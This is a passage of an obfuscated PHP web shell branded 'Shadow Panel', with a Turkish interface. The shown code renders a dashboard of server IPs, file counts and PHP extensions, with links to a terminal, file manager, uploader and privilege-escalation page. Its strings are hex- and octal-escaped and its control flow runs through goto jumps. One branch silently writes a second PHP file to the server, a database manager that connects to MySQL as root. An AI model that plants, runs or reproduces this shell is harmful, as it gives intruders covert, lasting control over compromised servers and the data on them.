class="tag">Aktif</span> </div> <div class="info-grid" style="grid-template-columns:1fr;"> <div><span class="label">👤 İstemci IP:</span> <span class="value"><?php echo $clientIP; ?> </span></div> <div><span class="label">🖥️ Sunucu IP (Local):</span> <span class="value"><?php echo $serverIP; ?> </span></div> <div><span class="label">🌐 Sunucu IP (Public):</span> <span class="value"><?php echo $publicIP; ?> </span></div> <div><span class="label">🔗 URL:</span> <span class="value small"><?php echo $_SERVER["\122\x45\121\x55\x45\x53\x54\x5f\x55\x52\x49"] ?? "\55"; ?> </span></div> <div><span class="label">📌 Method:</span> <span class="value"><?php echo $_SERVER["\x52\x45\x51\125\105\123\x54\137\x4d\x45\x54\110\x4f\x44"] ?? "\55"; ?> </span></div> <div><span class="label">⏰ Giriş:</span> <span class="value"><?php echo date("\144\56\155\x2e\131\40\110\x3a\x69\x3a\163"); ?> </span></div> <div><span class="label">📡 Durum:</span> <span class="value" style="color:#2ecc71;">● Online</span></div> </div> </div> </div> <!-- ALT BÖLÜM: DOSYA İSTATİSTİKLERİ + PHP EKLENTİLERİ --> <div class="two-col"> <!-- DOSYA İSTATİSTİKLERİ --> <div class="card-dash"> <div class="card-title"> <i class="fas fa-file-alt"></i> Dosya İstatistikleri <span class="tag"><?php echo basename(getcwd()); ?> </span> </div> <div class="info-grid"> <div><span class="label">📄 Dosya:</span> <span class="value"><?php echo number_format($fileStats["\146\151\154\145\x73"]); ?> </span></div> <div><span class="label">📁 Dizin:</span> <span class="value"><?php echo number_format($fileStats["\144\x69\x72\x73"]); ?> </span></div> <div><span class="label">💾 Toplam Boyut:</span> <span class="value"><?php echo formatSize($fileStats["\x73\151\172\x65"]); ?> </span></div> <div><span class="label">📊 Ortalama:</span> <span class="value"><?php echo $fileStats["\x66\151\154\145\163"] > 0 ? formatSize($fileStats["\x73\x69\x7a\145"] / $fileStats["\x66\151\154\x65\x73"]) : "\60\40\x42"; ?> </span></div> </div> <?php if (!empty($fileStats["\145\x78\164\163"])) { ?> <div style="margin-top:6px;display:flex;flex-wrap:wrap;gap:4px;"> <?php foreach ($fileStats["\145\170\164\x73"] as $ext => $count) { ?> <span style="background:#150020;padding:2px 10px;border-radius:10px;font-size:8px;color:#5a2a7a;border:1px solid #2a0a4a;"> .<?php echo $ext; ?> : <?php echo number_format($count); ?> </span> <?php } ?> </div> <?php } ?> </div> <!-- PHP EKLENTİLERİ --> <div class="card-dash"> <div class="card-title"> <i class="fas fa-puzzle-piece"></i> PHP Eklentileri <span class="tag"><?php echo count(get_loaded_extensions()); ?> </span> </div> <div class="ext-list"> <?php $extensions = get_loaded_extensions(); sort($extensions); foreach ($extensions as $ext) { ?> <span class="ext"><?php echo $ext; ?> </span> <?php } ?> </div> </div> </div> <!-- AKSİYON BUTONLARI --> <div class="actions"> <button onclick="location.href='?action=terminal'" class="btn">📟 Terminal</button> <button onclick="location.href='?action=files'" class="btn">📁 Dosyalar</button> <button onclick="location.href='?action=upload'" class="btn">⬆ Upload</button> <button onclick="location.href='?action=privesc'" class="btn gold">👑 Yetki Yükselt</button> <button onclick="location.href='?action=backup'" class="btn green">💾 Yedek Al</button> <button onclick="location.href='?action=settings'" class="btn orange">⚙ Ayarlar</button> <button onclick="location.reload()" class="btn outline">🔄 Yenile</button> <button onclick="if(confirm('Çıkış yap?')){location.href='?action=logout'}" class="btn red">🚪 Çıkış</button> </div> <!-- FOOTER --> <div class="dash-footer"> <i class="fas fa-shield-alt" style="color:#b300ff;"></i> Shadow Panel <?php echo $config["\166\x65\x72\163\151\157\x6e"] ?? "\x76\63\x2e\x30"; ?> | PHP <?php echo phpversion(); ?> | <?php echo isWindows() ? "\xf0\237\xaa\x9f\40\127\x69\156\144\157\x77\163" : "\360\x9f\220\247\40\114\x69\x6e\165\170"; ?> | <a href="?action=dashboard"><i class="fas fa-sync"></i> Yenile</a> </div> <!-- ================================================================ ===== JAVASCRIPT ===== ================================================================ --> <script> document.addEventListener('DOMContentLoaded', function() { // Progress bar animasyonu document.querySelectorAll('.fill').forEach(function(el) { var width = el.style.width; el.style.width = '0%'; setTimeout(function() { el.style.width = width; }, 150); }); // Quick cmd focus var cmd = document.getElementById('quickCmd'); if (cmd) { cmd.focus(); cmd.addEventListener('keydown', function(e) { if (e.key === 'Enter') { e.preventDefault(); this.form.submit(); } }); } // Komut geçmişi scroll var history = document.querySelector('.cmd-history'); if (history) history.scrollTop = history.scrollHeight; }); </script> </div> <?php } goto mRR2Y; nJLK5: ?> <!-- ============================================================ --> <!-- ===== TERMINAL - PROFESYONEL V4 (ORTALI) ===== --> <!-- ============================================================ --> <?php goto CeiZj; lbOfP: echo $action == "\143\160\x61\156\145\x6c" ? "\x61\143\x74\151\x76\145" : ''; goto keN6z; OzF02: ?> "><i class="fas fa-cog"></i><span>Settings</span></a> <a href="?action=logout" style="color:#b300ff;"><i class="fas fa-sign-out-alt"></i><span>Çıkış</span></a> </div> </div> <div class="bottom"> <div class="status"><span class="dot"></span> <span>Online</span></div> <div style="margin-top:2px;font-size:8px;color:#3a0a5a;"> <?php goto Ik9Rf; oRG1N: ?> </span> <span style="font-size: 9px; color: #6a3a8a; letter-spacing:0.5px;"></span> </div> </div> <div class="menu-wrapper"> <div class="menu"> <div class="group-label">Ana</div> <a href="?action=dashboard" class="<?php goto rNGbJ; vhj76: if ($action == "\x63\141\x70\164\x61\x69\x6e\144\x62") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"> <i class="fas fa-database" style="color:#b300ff;"></i> <i class="fas fa-sailing-ship" style="color:#ffd700;margin-left:-5px;"></i> SlowDB Manager <span style="font-size:9px;color:#5a1a7a;margin-left:8px;">🐘 MySQL Manager</span> </h4> <p style="color:#5a2a7a;font-size:10px;margin-bottom:8px;"> <i class="fas fa-database" style="color:#2ecc71;"></i> Tüm veritabanlarını yönetin - Tablolar, Sütunlar, Veriler ve Sorgular! </p> <?php $slowDBPath = getcwd() . "\x2f\163\154\x6f\x77\144\x62\x5f\x70\162\x6f\56\160\x68\x70"; if (!file_exists($slowDBPath)) { $slowDBCode = "\74\x3f\160\150\x70\12\57\52\40\x3d\75\x3d\75\x3d\x3d\x3d\75\75\x3d\75\x3d\75\75\75\x3d\75\75\x3d\x3d\x3d\x3d\x3d\x3d\x3d\75\75\x3d\75\x3d\x3d\75\x3d\x3d\75\x3d\75\x3d\x3d\x3d\75\75\x3d\75\x3d\75\75\75\x3d\x3d\75\12\40\x20\40\x53\154\x6f\x77\x44\102\x20\120\122\x4f\40\x2d\40\124\x61\x6d\x20\303\x87\141\154\304\261\xc5\x9f\x61\x6e\40\126\145\x72\163\151\x79\157\156\xa\x20\x20\x20\x3d\75\75\75\75\75\75\x3d\75\x3d\x3d\x3d\75\x3d\75\x3d\75\x3d\x3d\x3d\75\75\75\x3d\75\x3d\x3d\x3d\75\x3d\75\x3d\75\75\x3d\75\75\75\75\75\75\x3d\75\75\x3d\75\75\x3d\75\75\75\40\52\x2f\12\xa\x2f\x2f\40\113\157\x6e\146\151\x67\xc3\274\162\141\x73\171\157\156\40\x2d\40\102\x75\x72\141\171\304\261\40\144\x65\xc4\x9f\151\xc5\x9f\164\151\162\x69\x6e\41\xa\44\x63\157\156\x66\151\147\40\x3d\x20\x5b\xa\40\40\x20\40\x22\150\x6f\x73\164\42\40\75\x3e\x20\x22\154\157\x63\141\154\x68\x6f\x73\164\x22\x2c\xa\40\40\x20\x20\x22\165\x73\145\162\x22\x20\75\x3e\x20\42\x72\x6f\x6f\164\42\54\12\40\x20\40\40\42\x70\x61\163\163\x22\40\x3d\x3e\40\42\x22\x2c\xa\40\x20\x20\40\x22\144\142\42\40\75\x3e\40\42\x6d\x79\x73\161\x6c\42\xa\135\73\xa\12\57\57\40\x4d\x79\123\121\x4c\x20\102\x61\304\237\x6c\141\156\164\304\xb1\x73\xc4\261\12\x24\143\157\x6e\x6e\40\75\40\156\145\167\x20\155\171\x73\x71\154\x69\x28\44\x63\157\x6e\x66\x69\x67\x5b\x22\x68\157\163\x74\42\135\x2c\40\44\x63\x6f\x6e\x66\151\x67\x5b\42\x75\x73\x65\x72\x22\135\x2c\40\44\143\157\x6e\x66\x69\x67\x5b\42\160\x61\x73\163\x22\135\x29\x3b\xa\151\146\40\50\x24\143\x6f\156\x6e\x2d\76\143\157\156\x6e\145\143\164\x5f\x65\162\x72\157\x72\51\x20\173\12\x20\40\40\40\144\151\x65\x28\x22\x3c\144\151\166\x20\163\x74\171\x6c\x65\75\x27\x63\x6f\x6c\157\x72\72\43\142\x33\60\x30\x66\x66\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\62\x30\160\170\73\164\145\170\164\x2d\x61\154\x69\147\156\72\143\145\x6e\x74\145\x72\73\x27\x3e\342\235\x8c\x20\x42\141\304\x9f\154\x61\156\x74\304\261\40\150\x61\164\x61\x73\xc4\xb1\x3a\x20\x22\x20\56\40\x24\x63\157\x6e\x6e\55\x3e\x63\x6f\x6e\156\145\143\164\137\145\162\162\x6f\162\40\56\x20\x22\x3c\x2f\144\151\166\x3e\42\51\x3b\12\175\12\12\57\x2f\x20\115\x65\166\143\165\164\x20\x44\102\12\x24\143\x75\162\x72\145\156\164\104\x62\x20\75\40\151\x73\163\145\164\x28\x24\x5f\107\x45\124\133\x22\144\x62\42\x5d\x29\x20\x3f\40\44\x5f\x47\x45\124\133\42\x64\x62\x22\x5d\40\x3a\x20\44\x63\157\x6e\x66\x69\147\x5b\x22\144\x62\42\x5d\x3b\xa\151\146\x20\x28\44\x63\165\x72\162\x65\x6e\164\x44\x62\51\40\x7b\12\x20\40\40\x20\44\x63\157\156\156\55\x3e\163\145\x6c\x65\143\164\137\144\142\x28\x24\143\165\x72\162\x65\x6e\x74\x44\x62\x29\x3b\12\x7d\12\xa\x2f\x2f\40\103\x53\123\xa\145\143\150\157\40\42\74\41\104\117\x43\124\131\120\x45\40\150\164\x6d\154\76\xa\74\150\x74\x6d\154\76\12\74\150\x65\141\x64\76\12\x20\40\x20\x20\x3c\x6d\x65\x74\x61\40\143\150\x61\162\163\x65\164\x3d\x5c\42\125\124\x46\x2d\x38\x5c\x22\x3e\12\x20\x20\x20\40\74\164\151\164\154\145\76\123\154\x6f\167\104\102\x3c\x2f\x74\151\x74\x6c\145\76\xa\x20\x20\40\40\74\x6c\151\x6e\153\x20\162\145\x6c\x3d\134\42\163\164\171\x6c\145\x73\x68\145\145\x74\x5c\x22\x20\x68\162\145\146\x3d\134\42\150\164\164\x70\163\72\57\57\x63\144\156\152\x73\x2e\x63\x6c\x6f\x75\144\x66\154\x61\x72\145\x2e\x63\157\155\x2f\141\x6a\x61\x78\57\154\x69\142\x73\57\x66\x6f\x6e\x74\55\x61\167\145\163\157\155\145\57\66\x2e\x35\56\x30\x2f\143\163\163\x2f\x61\x6c\x6c\56\x6d\151\156\x2e\143\x73\x73\134\x22\x3e\12\40\40\40\x20\74\163\x74\171\154\145\x3e\12\40\x20\x20\x20\x20\40\x20\40\x2a\x20\173\40\155\x61\162\147\x69\156\72\60\x3b\x20\x70\x61\144\144\x69\156\147\72\x30\x3b\x20\142\x6f\x78\55\163\151\x7a\x69\x6e\x67\x3a\x62\x6f\x72\x64\145\162\x2d\142\157\x78\x3b\40\175\12\x20\40\x20\40\40\40\x20\x20\142\x6f\144\x79\x20\173\12\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\x62\x61\143\153\x67\x72\157\x75\x6e\x64\72\x20\x23\x30\141\x30\x30\61\60\x3b\xa\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x63\x6f\x6c\157\162\72\x20\x23\143\70\144\x36\145\x35\x3b\xa\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\x66\x6f\x6e\164\55\146\x61\x6d\x69\154\x79\x3a\x20\47\123\145\x67\157\x65\40\125\111\x27\54\40\x54\141\x68\x6f\x6d\141\x2c\40\107\x65\x6e\145\166\x61\x2c\40\126\145\x72\x64\141\x6e\x61\54\40\x73\x61\x6e\x73\55\x73\x65\162\x69\146\x3b\12\40\x20\x20\x20\x20\40\40\40\40\40\40\40\x70\141\144\144\151\156\x67\72\40\61\65\160\x78\x3b\xa\x20\x20\x20\40\x20\40\40\40\175\12\x20\x20\40\40\x20\40\x20\x20\x2e\x63\157\x6e\x74\141\151\156\x65\x72\40\x7b\x20\155\x61\x78\x2d\x77\151\x64\164\x68\72\x20\x31\x34\x30\x30\160\170\73\x20\155\x61\162\147\151\156\72\x20\x30\x20\x61\x75\164\157\73\40\x7d\12\x20\40\40\x20\40\40\x20\x20\xa\x20\40\40\x20\x20\40\40\40\56\x68\x65\x61\x64\145\x72\x20\173\12\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\142\x61\143\x6b\x67\162\x6f\165\156\144\x3a\x20\x23\60\x61\x30\x30\61\60\x3b\12\40\40\x20\40\x20\x20\40\40\x20\x20\40\x20\x62\157\162\144\x65\162\x3a\x20\x31\x70\170\x20\163\157\154\x69\144\x20\43\x33\x61\x30\x61\65\x61\73\12\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x62\157\x72\144\145\x72\55\162\x61\x64\151\165\x73\72\x20\x31\x32\x70\x78\x3b\12\x20\x20\40\40\x20\40\x20\40\40\40\40\40\160\141\x64\x64\x69\x6e\x67\x3a\x20\62\60\x70\x78\x3b\xa\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\155\x61\162\x67\x69\156\55\x62\x6f\164\x74\157\x6d\x3a\40\62\x30\160\x78\73\xa\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\144\151\163\x70\x6c\x61\x79\x3a\40\146\154\145\x78\x3b\xa\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\152\x75\163\x74\151\x66\x79\x2d\143\157\x6e\x74\145\x6e\164\x3a\40\x73\160\x61\143\145\x2d\142\x65\x74\167\145\145\x6e\x3b\xa\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\141\x6c\151\147\156\55\x69\x74\x65\155\x73\72\40\143\145\x6e\164\x65\162\73\xa\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x66\x6c\145\170\55\x77\x72\x61\160\72\x20\167\162\x61\x70\73\xa\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\147\141\x70\x3a\40\x31\x30\x70\x78\x3b\12\x20\40\40\40\40\40\40\40\x7d\xa\40\x20\40\40\40\40\x20\x20\56\x68\145\x61\x64\145\x72\40\150\61\40\x7b\12\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\143\157\x6c\157\162\72\40\x23\x62\63\60\x30\146\x66\73\12\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\146\x6f\156\164\55\x73\151\x7a\x65\72\x20\x32\62\160\170\73\xa\x20\40\40\40\40\40\40\x20\175\xa\40\40\x20\x20\40\x20\40\40\x2e\x68\x65\141\144\145\x72\x20\x68\x31\40\151\x20\x7b\40\x6d\141\x72\147\x69\x6e\x2d\162\x69\147\150\164\x3a\40\61\x30\x70\x78\73\40\x7d\xa\40\x20\40\x20\40\40\40\x20\56\150\x65\141\x64\x65\x72\40\56\163\150\151\160\x20\173\x20\143\x6f\154\x6f\162\x3a\x20\43\146\146\x64\x37\60\x30\73\x20\175\xa\40\40\x20\40\x20\40\x20\40\x2e\150\x65\x61\x64\x65\162\40\x2e\x69\156\x66\x6f\x20\173\12\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\x63\x6f\154\157\x72\x3a\40\x23\x35\141\x32\x61\x37\141\73\12\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\146\x6f\x6e\164\x2d\x73\x69\172\145\x3a\40\x31\62\x70\170\73\12\x20\x20\x20\x20\40\x20\x20\x20\x7d\12\x20\x20\x20\40\40\40\40\x20\xa\x20\x20\x20\x20\x20\x20\x20\x20\x2e\143\x61\x72\144\40\173\12\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\142\141\143\x6b\147\162\157\165\156\x64\x3a\40\x23\60\x61\60\60\61\60\x3b\12\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\40\142\x6f\x72\144\x65\162\x3a\x20\61\160\170\40\163\x6f\154\x69\144\x20\43\63\141\60\x61\x35\141\x3b\xa\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x62\x6f\162\144\x65\162\55\x72\x61\x64\151\x75\163\x3a\40\x31\60\x70\x78\x3b\12\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\160\x61\x64\144\x69\x6e\147\x3a\40\61\x35\x70\170\73\12\x20\40\x20\40\40\x20\40\40\40\40\40\x20\155\x61\162\x67\151\x6e\55\x62\157\164\164\157\x6d\72\x20\61\x35\160\x78\73\12\40\40\40\40\x20\x20\x20\x20\x7d\12\x20\40\x20\40\40\x20\40\x20\x2e\x63\141\x72\144\40\x68\x33\x20\x7b\12\x20\x20\40\40\40\40\x20\40\x20\40\40\40\x63\157\x6c\x6f\x72\72\40\43\x62\63\x30\x30\146\x66\x3b\xa\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\x66\x6f\x6e\x74\x2d\x73\151\x7a\145\x3a\40\x31\64\x70\170\73\xa\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\155\141\x72\x67\151\156\x2d\x62\157\x74\x74\157\x6d\x3a\x20\61\60\x70\x78\x3b\xa\x20\40\x20\40\40\x20\40\40\x7d\12\40\40\x20\40\40\x20\40\40\56\x63\x61\x72\x64\40\x68\x33\x20\x69\40\x7b\40\155\141\162\147\151\x6e\55\162\151\x67\x68\164\72\40\70\160\x78\x3b\x20\175\xa\x20\x20\40\x20\40\40\x20\x20\xa\40\40\40\x20\x20\40\40\40\56\147\162\x69\x64\55\164\x61\142\x6c\145\x73\40\x7b\xa\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x64\x69\x73\160\154\141\171\72\x20\x67\x72\x69\x64\x3b\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x67\162\151\144\x2d\164\145\x6d\160\x6c\141\164\x65\55\x63\157\x6c\165\155\156\163\72\40\x72\x65\x70\145\x61\164\x28\x61\x75\164\x6f\55\146\151\154\154\x2c\x20\155\x69\156\155\x61\170\x28\x31\66\60\x70\x78\x2c\40\61\146\x72\x29\x29\73\12\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x67\x61\x70\72\40\70\160\170\x3b\12\40\40\40\40\x20\x20\x20\40\175\12\40\40\40\40\x20\40\40\40\56\164\141\142\x6c\x65\55\x62\x6f\x78\40\173\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\142\x61\x63\x6b\147\162\x6f\x75\156\144\x3a\x20\x23\x30\141\x30\x30\61\x30\73\12\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x62\157\x72\144\145\x72\x3a\40\x31\160\170\40\163\157\154\x69\x64\40\x23\x33\x61\x30\x61\65\x61\73\xa\40\40\40\x20\40\40\40\40\x20\x20\x20\40\x62\x6f\x72\x64\145\x72\55\x72\141\144\x69\x75\163\x3a\40\x38\x70\x78\73\xa\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x70\x61\x64\144\x69\156\147\72\x20\x31\62\160\170\x3b\12\x20\40\40\40\40\40\40\40\x20\40\40\40\x74\145\x78\164\55\141\154\151\147\156\72\40\x63\x65\156\x74\x65\x72\73\12\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x74\162\x61\156\163\151\x74\x69\x6f\x6e\x3a\40\60\56\63\x73\73\xa\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x63\x75\162\x73\x6f\x72\72\x20\160\157\x69\156\164\x65\x72\73\12\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\164\x65\170\x74\x2d\x64\145\x63\x6f\x72\141\164\x69\157\156\72\40\x6e\157\156\145\73\12\40\x20\40\x20\40\40\40\40\x20\x20\40\40\x63\157\154\157\x72\72\x20\x23\x62\x30\x63\x34\144\x65\73\12\40\40\x20\40\40\x20\x20\40\175\xa\40\40\40\x20\40\x20\40\40\x2e\164\x61\x62\154\x65\x2d\x62\157\170\72\150\157\166\x65\x72\x20\173\12\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\142\157\162\x64\145\x72\55\x63\157\154\157\162\x3a\40\43\x62\x33\60\60\x66\146\x3b\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\164\162\x61\156\163\x66\x6f\x72\155\x3a\40\x74\x72\141\x6e\x73\x6c\141\x74\145\x59\x28\55\63\x70\170\x29\x3b\12\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\142\x6f\x78\55\163\150\141\x64\x6f\167\x3a\40\60\40\x35\160\170\x20\63\x30\x70\x78\x20\162\147\x62\141\x28\x31\x37\71\x2c\60\x2c\x32\65\65\x2c\x30\x2e\61\51\x3b\12\x20\x20\40\x20\x20\x20\40\40\x7d\12\40\40\40\x20\x20\x20\x20\40\x2e\x74\141\x62\154\x65\55\142\x6f\x78\40\151\x20\173\xa\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\146\157\x6e\164\x2d\x73\151\172\x65\72\40\62\x38\160\170\x3b\12\x20\40\x20\x20\40\40\40\40\40\40\x20\40\143\157\154\x6f\162\72\x20\x23\x62\63\60\60\146\x66\x3b\12\x20\40\x20\40\x20\40\40\40\40\40\x20\40\144\151\163\x70\154\x61\x79\x3a\40\x62\154\157\143\153\73\xa\x20\x20\40\40\x20\40\40\40\40\40\40\40\x6d\141\x72\147\151\x6e\x2d\142\157\x74\x74\157\x6d\x3a\40\65\160\170\x3b\12\40\40\x20\x20\x20\x20\x20\40\175\xa\x20\40\40\x20\40\x20\x20\x20\x2e\x74\141\142\x6c\x65\55\x62\157\x78\x20\56\164\x6e\141\x6d\145\x20\173\xa\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x66\x6f\156\164\55\x73\x69\x7a\145\72\x20\x31\62\160\x78\73\xa\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\167\157\x72\144\x2d\x62\162\145\x61\x6b\72\40\x62\162\145\141\153\x2d\141\154\154\73\12\40\x20\40\x20\40\x20\40\40\175\xa\x20\40\x20\x20\x20\40\x20\x20\x2e\x74\x61\142\154\145\55\x62\157\x78\x20\x2e\164\x63\x6f\x75\x6e\164\40\x7b\12\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x66\x6f\156\164\55\163\x69\x7a\145\72\40\x39\160\x78\x3b\12\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\143\x6f\154\157\162\x3a\x20\43\x35\141\x31\141\x37\x61\73\12\40\x20\40\x20\40\40\x20\40\x7d\xa\x20\x20\x20\40\40\x20\40\40\12\x20\40\x20\40\40\x20\40\40\56\x74\x61\x62\x6c\x65\55\167\162\141\x70\x20\173\12\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\157\x76\145\162\x66\154\157\x77\55\x78\72\x20\x61\165\x74\157\73\xa\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x6d\141\170\55\167\x69\144\164\x68\x3a\40\x31\x30\x30\x25\73\xa\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x6d\x61\162\x67\151\x6e\72\40\x31\x30\160\170\40\x30\x3b\12\x20\40\x20\40\40\40\x20\x20\175\12\40\40\x20\x20\40\40\40\40\x74\x61\x62\x6c\x65\56\x64\x61\164\141\x20\x7b\xa\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x77\151\144\164\150\72\40\61\60\x30\x25\x3b\xa\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x62\157\x72\144\x65\162\55\143\157\x6c\x6c\141\160\x73\145\72\40\143\x6f\x6c\154\x61\x70\x73\145\x3b\xa\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\146\x6f\156\164\55\x73\x69\x7a\x65\72\40\x31\62\x70\x78\73\xa\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x6d\151\156\x2d\167\151\144\164\x68\72\40\64\x30\x30\160\170\x3b\xa\40\40\x20\x20\x20\40\40\x20\x7d\12\40\40\x20\x20\40\x20\x20\40\164\141\142\154\x65\x2e\144\x61\164\141\40\x74\x68\x65\x61\144\40\164\x68\x20\173\12\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\142\x61\143\x6b\x67\x72\x6f\x75\x6e\144\72\x20\x23\x31\x61\60\x35\62\65\73\xa\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\143\x6f\154\x6f\162\x3a\40\43\142\x33\60\60\146\x66\73\xa\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\160\x61\x64\144\151\x6e\147\x3a\x20\x38\160\x78\x20\61\x32\x70\x78\x3b\xa\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x62\x6f\x72\x64\x65\162\72\x20\61\x70\x78\40\163\157\154\151\x64\x20\43\x33\x61\x30\x61\65\141\73\12\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x74\145\x78\x74\x2d\141\x6c\151\x67\156\72\x20\154\145\146\164\x3b\xa\x20\40\40\x20\x20\40\40\x20\x20\x20\40\40\160\x6f\x73\x69\164\151\x6f\156\x3a\x20\163\164\151\x63\x6b\171\73\xa\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x74\x6f\x70\72\40\60\x3b\12\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x7a\55\151\x6e\x64\145\170\72\x20\x31\60\x3b\12\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\167\x68\x69\x74\x65\x2d\x73\160\141\x63\x65\x3a\40\156\x6f\167\162\x61\x70\73\xa\40\x20\40\x20\40\x20\40\40\175\xa\40\40\40\40\x20\40\x20\40\164\x61\x62\x6c\145\56\144\141\164\141\40\164\x62\157\x64\x79\40\164\x64\x20\173\xa\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\160\141\x64\144\x69\156\x67\72\40\66\x70\x78\40\x31\62\x70\170\73\12\40\x20\x20\40\x20\40\40\40\40\40\x20\40\142\x6f\162\x64\x65\x72\72\40\x31\x70\x78\40\163\x6f\154\151\144\x20\x23\x33\x61\x30\x61\65\x61\73\xa\x20\40\x20\x20\x20\x20\40\40\40\40\x20\40\155\x61\170\x2d\167\x69\x64\x74\x68\72\x20\63\x30\60\x70\170\x3b\xa\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\x6f\x76\145\162\x66\154\157\167\x3a\40\x68\x69\x64\x64\x65\x6e\73\xa\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x74\x65\170\164\x2d\x6f\166\145\162\x66\x6c\x6f\x77\72\x20\x65\x6c\154\151\x70\x73\x69\163\x3b\12\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\167\x68\x69\x74\145\55\x73\x70\141\143\x65\x3a\x20\156\157\167\x72\141\x70\x3b\12\x20\x20\x20\x20\x20\40\x20\x20\x7d\12\x20\x20\x20\40\x20\x20\40\x20\164\141\142\x6c\145\56\144\x61\164\x61\x20\x74\x62\x6f\144\171\x20\164\x72\x3a\x6e\164\150\55\143\x68\x69\x6c\x64\x28\x65\166\145\x6e\51\x20\x74\x64\40\x7b\xa\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\142\x61\143\x6b\147\162\157\165\156\x64\72\x20\x23\x30\141\60\x30\61\x30\x3b\xa\x20\40\40\40\x20\x20\x20\x20\x7d\xa\x20\x20\x20\x20\x20\40\40\40\x74\141\x62\x6c\x65\56\144\x61\164\x61\x20\164\x62\157\x64\x79\x20\164\x72\72\156\164\x68\x2d\x63\150\151\x6c\x64\50\157\x64\x64\51\40\164\x64\40\x7b\xa\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\x62\141\143\x6b\x67\162\157\165\x6e\144\x3a\40\x23\x30\x35\60\60\60\70\73\12\40\x20\40\40\x20\x20\40\40\175\12\x20\x20\x20\x20\40\x20\x20\x20\x74\141\142\154\x65\x2e\144\x61\164\x61\40\x74\142\157\x64\171\40\164\162\72\x68\x6f\x76\145\x72\40\164\144\40\173\12\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\x62\x61\x63\153\x67\x72\x6f\x75\156\x64\x3a\x20\43\61\x61\x30\65\62\x35\x3b\12\x20\x20\x20\40\x20\40\x20\x20\x7d\xa\40\x20\x20\x20\x20\40\x20\40\x2e\x6e\x75\154\154\40\x7b\xa\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x63\x6f\154\157\x72\72\40\x23\x35\141\x31\x61\x37\x61\73\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\146\157\156\164\55\x73\164\171\154\x65\72\40\151\164\x61\154\x69\143\x3b\12\x20\x20\x20\x20\40\x20\x20\40\x7d\xa\40\40\40\40\x20\40\x20\40\12\x20\x20\40\40\x20\x20\40\x20\x2e\x62\164\x6e\40\173\12\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\x70\x61\x64\144\x69\156\x67\x3a\40\x36\x70\170\40\61\66\x70\170\73\xa\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\142\x61\x63\153\147\x72\157\x75\156\144\72\40\x23\x62\63\60\60\146\x66\x3b\xa\40\40\x20\40\40\x20\40\40\40\40\40\40\143\157\154\157\x72\72\x20\43\x30\141\x30\x30\61\x30\73\xa\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x62\x6f\x72\x64\145\162\72\40\x6e\x6f\x6e\145\73\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x62\157\162\144\145\x72\55\162\141\x64\151\x75\x73\x3a\40\x36\160\170\x3b\xa\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\143\x75\162\163\x6f\162\x3a\40\x70\157\x69\x6e\x74\x65\x72\x3b\xa\40\40\x20